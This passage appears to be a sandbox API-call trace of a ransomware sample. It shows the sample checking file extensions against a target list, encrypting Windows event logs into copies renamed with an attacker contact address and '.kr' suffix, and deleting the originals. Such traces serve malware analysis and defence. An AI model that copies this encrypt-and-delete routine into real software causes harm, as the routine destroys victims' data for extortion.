[0101.247] WriteFile (in: hFile=0x340, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0101.250] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.250] WriteFile (in: hFile=0x340, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x13a, lpOverlapped=0x0) returned 1 [0101.250] SetEndOfFile (hFile=0x340) returned 1 [0101.250] CloseHandle (hObject=0x340) returned 1 [0101.253] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.253] SetEndOfFile (hFile=0x358) returned 1 [0101.255] CloseHandle (hObject=0x358) returned 1 [0101.255] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0101.255] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0101.256] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.256] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.256] lstrlenW (lpString=".doc") returned 4 [0101.256] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.256] lstrlenW (lpString=".docx") returned 5 [0101.256] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.256] lstrlenW (lpString=".pdf") returned 4 [0101.256] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.256] lstrlenW (lpString=".xls") returned 4 [0101.256] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.256] lstrlenW (lpString=".xlsx") returned 5 [0101.256] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.256] lstrlenW (lpString=".ppt") returned 4 [0101.256] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.256] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.256] lstrlenW (lpString=".zip") returned 4 [0101.256] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.256] lstrlenW (lpString=".rar") returned 4 [0101.257] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.257] lstrlenW (lpString=".bz2") returned 4 [0101.257] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.257] lstrlenW (lpString=".7z") returned 3 [0101.257] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.257] lstrlenW (lpString=".dbf") returned 4 [0101.257] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.257] lstrlenW (lpString=".1cd") returned 4 [0101.257] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.257] lstrlenW (lpString=".jpg") returned 4 [0101.257] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.257] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.257] lstrlenW (lpString=".doc") returned 4 [0101.257] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.257] lstrlenW (lpString=".docx") returned 5 [0101.257] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.257] lstrlenW (lpString=".pdf") returned 4 [0101.257] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.258] lstrlenW (lpString=".xls") returned 4 [0101.258] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.258] lstrlenW (lpString=".xlsx") returned 5 [0101.258] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.258] lstrlenW (lpString=".ppt") returned 4 [0101.258] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.258] lstrlenW (lpString=".zip") returned 4 [0101.258] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.258] lstrlenW (lpString=".rar") returned 4 [0101.258] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.258] lstrlenW (lpString=".bz2") returned 4 [0101.258] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.258] lstrlenW (lpString=".7z") returned 3 [0101.258] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.258] lstrlenW (lpString=".dbf") returned 4 [0101.258] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.258] lstrlenW (lpString=".1cd") returned 4 [0101.258] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.258] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0101.258] lstrlenW (lpString=".jpg") returned 4 [0101.258] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.259] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0101.259] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0101.259] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.632] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0101.640] CloseHandle (hObject=0x370) returned 1 [0101.640] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0101.640] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.640] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.640] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.640] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.640] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0101.641] GetLastError () returned 0x0 [0101.641] ReadFile (in: hFile=0x370, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0101.643] WriteFile (in: hFile=0x338, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0101.645] ReadFile (in: hFile=0x370, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.645] WriteFile (in: hFile=0x338, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x128, lpOverlapped=0x0) returned 1 [0101.645] SetEndOfFile (hFile=0x338) returned 1 [0101.645] CloseHandle (hObject=0x338) returned 1 [0101.651] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.651] SetEndOfFile (hFile=0x370) returned 1 [0101.652] CloseHandle (hObject=0x370) returned 1 [0101.653] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0101.653] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0101.653] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.653] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.653] lstrlenW (lpString=".doc") returned 4 [0101.653] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.653] lstrlenW (lpString=".docx") returned 5 [0101.653] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.653] lstrlenW (lpString=".pdf") returned 4 [0101.653] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.653] lstrlenW (lpString=".xls") returned 4 [0101.653] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.653] lstrlenW (lpString=".xlsx") returned 5 [0101.654] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.654] lstrlenW (lpString=".ppt") returned 4 [0101.654] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.654] lstrlenW (lpString=".zip") returned 4 [0101.654] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.654] lstrlenW (lpString=".rar") returned 4 [0101.654] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.654] lstrlenW (lpString=".bz2") returned 4 [0101.654] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.654] lstrlenW (lpString=".7z") returned 3 [0101.654] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.654] lstrlenW (lpString=".dbf") returned 4 [0101.654] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.654] lstrlenW (lpString=".1cd") returned 4 [0101.654] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.654] lstrlenW (lpString=".jpg") returned 4 [0101.654] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.654] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.654] lstrlenW (lpString=".doc") returned 4 [0101.654] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.655] lstrlenW (lpString=".docx") returned 5 [0101.655] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.655] lstrlenW (lpString=".pdf") returned 4 [0101.655] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.655] lstrlenW (lpString=".xls") returned 4 [0101.655] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.655] lstrlenW (lpString=".xlsx") returned 5 [0101.655] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.655] lstrlenW (lpString=".ppt") returned 4 [0101.655] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.655] lstrlenW (lpString=".zip") returned 4 [0101.655] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.655] lstrlenW (lpString=".rar") returned 4 [0101.655] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.655] lstrlenW (lpString=".bz2") returned 4 [0101.655] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.655] lstrlenW (lpString=".7z") returned 3 [0101.655] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.655] lstrlenW (lpString=".dbf") returned 4 [0101.655] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.655] lstrlenW (lpString=".1cd") returned 4 [0101.655] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0101.655] lstrlenW (lpString=".jpg") returned 4 [0101.655] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.656] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0101.656] lstrlenW (lpString="Microsoft-Windows-LiveId%4Operational.evtx") returned 42 [0101.656] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.656] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0101.656] CloseHandle (hObject=0x370) returned 1 [0101.656] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20 [0101.656] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.656] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0101.656] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.656] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.657] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0101.661] GetLastError () returned 0x0 [0101.661] ReadFile (in: hFile=0x370, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0101.664] WriteFile (in: hFile=0x338, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0101.666] ReadFile (in: hFile=0x370, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.666] WriteFile (in: hFile=0x338, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x128, lpOverlapped=0x0) returned 1 [0101.666] SetEndOfFile (hFile=0x338) returned 1 [0101.666] CloseHandle (hObject=0x338) returned 1 [0101.670] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.670] SetEndOfFile (hFile=0x370) returned 1 [0101.672] CloseHandle (hObject=0x370) returned 1 [0101.672] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0101.672] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 1 [0101.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0101.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0101.673] lstrlenW (lpString=".doc") returned 4 [0101.673] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0101.673] lstrlenW (lpString=".docx") returned 5 [0101.673] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0101.673] lstrlenW (lpString=".pdf") returned 4 [0101.673] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0101.673] lstrlenW (lpString=".xls") returned 4 [0101.673] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0101.673] lstrlenW (lpString=".xlsx") returned 5 [0101.673] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0101.673] lstrlenW (lpString=".ppt") returned 4 [0101.673] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0101.673] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0101.673] lstrlenW (lpString=".zip") returned 4 [0101.673] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0101.673] lstrlenW (lpString=".rar") returned 4 [0101.673] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0101.673] lstrlenW (lpString=".bz2") returned 4 [0101.673] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0101.673] lstrlenW (lpString=".7z") returned 3 [0101.674] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0101.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0101.674] lstrlenW (lpString=".dbf") returned 4 [0101.674] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0101.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0101.674] lstrlenW (lpString=".1cd") returned 4 [0101.674] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0101.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0101.674] lstrlenW (lpString=".jpg") returned 4 [0101.674] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0101.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0101.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0102.726] lstrlenW (lpString=".doc") returned 4 [0102.726] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.726] lstrlenW (lpString=".docx") returned 5 [0102.726] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0102.726] lstrlenW (lpString=".pdf") returned 4 [0102.726] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0102.726] lstrlenW (lpString=".xls") returned 4 [0102.727] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0102.727] lstrlenW (lpString=".xlsx") returned 5 [0102.727] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0102.727] lstrlenW (lpString=".ppt") returned 4 [0102.727] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0102.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0102.727] lstrlenW (lpString=".zip") returned 4 [0102.727] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0102.727] lstrlenW (lpString=".rar") returned 4 [0102.727] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0102.727] lstrlenW (lpString=".bz2") returned 4 [0102.727] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0102.727] lstrlenW (lpString=".7z") returned 3 [0102.727] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0102.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0102.727] lstrlenW (lpString=".dbf") returned 4 [0102.727] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0102.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0102.727] lstrlenW (lpString=".1cd") returned 4 [0102.727] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0102.727] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned 50 [0102.727] lstrlenW (lpString=".jpg") returned 4 [0102.727] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0102.727] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0102.727] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0102.727] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.728] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0102.728] CloseHandle (hObject=0x340) returned 1 [0102.728] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0102.728] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.728] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0102.728] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.728] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.728] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0102.729] GetLastError () returned 0x0 [0102.729] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0102.731] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0102.733] ReadFile (in: hFile=0x340, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.733] WriteFile (in: hFile=0x394, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x114, lpOverlapped=0x0) returned 1 [0102.733] SetEndOfFile (hFile=0x394) returned 1 [0102.733] CloseHandle (hObject=0x394) returned 1 [0102.738] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.738] SetEndOfFile (hFile=0x340) returned 1 [0102.740] CloseHandle (hObject=0x340) returned 1 [0102.740] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0102.740] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0102.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.740] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0102.740] lstrlenW (lpString=".doc") returned 4 [0102.740] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0102.740] lstrlenW (lpString=".docx") returned 5 [0102.740] lstrcmpiW 